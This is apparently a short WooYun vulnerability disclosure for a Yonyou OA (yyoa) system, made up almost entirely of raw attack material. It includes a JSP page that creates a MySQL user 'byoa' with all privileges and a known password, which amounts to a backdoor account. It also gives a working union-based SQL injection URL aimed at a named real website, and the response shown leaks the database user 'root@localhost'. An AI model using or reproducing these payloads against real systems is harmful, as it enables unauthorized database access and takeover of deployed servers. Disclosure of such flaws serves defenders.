WooYun.org

/yyoa/ext/byoa/start.jsp

<%
	Connection conn = null;
	PreparedStatement pstmt = null;
	String sql = "create user byoa IDENTIFIED by 'byoa'";
	try {
		conn = null;//net.btdz.oa.common.ConnectionPoolBean.getConnection();
		pstmt = conn.prepareStatement(sql);
		out.print(pstmt.executeUpdate());
		sql = "grant all on *.* to byoa";
		pstmt = conn.prepareStatement(sql);
		out.println(pstmt.executeUpdate());
		pstmt.close();
		sql = "update mysql.user set password=password('byoa') where user='byoa'";
		pstmt = conn.prepareStatement(sql);
		out.println(pstmt.executeUpdate());
		pstmt.close();
		sql = "flush privileges";
		pstmt = conn.prepareStatement(sql);
		out.print(pstmt.executeUpdate());
		pstmt.close();
		//conn.close();
	} catch (Exception ex) {			
		out.println(ex.getMessage());
	}
%>

/yyoa/ext/trafaxserver/ExtnoManage/isNotInTable.jsp

http://www.ssepec.net/yyoa/ext/trafaxserver/ExtnoManage/isNotInTable.jsp?user_ids=(17) union all select user()%23
{'success':false,'errors':'root@localhost'}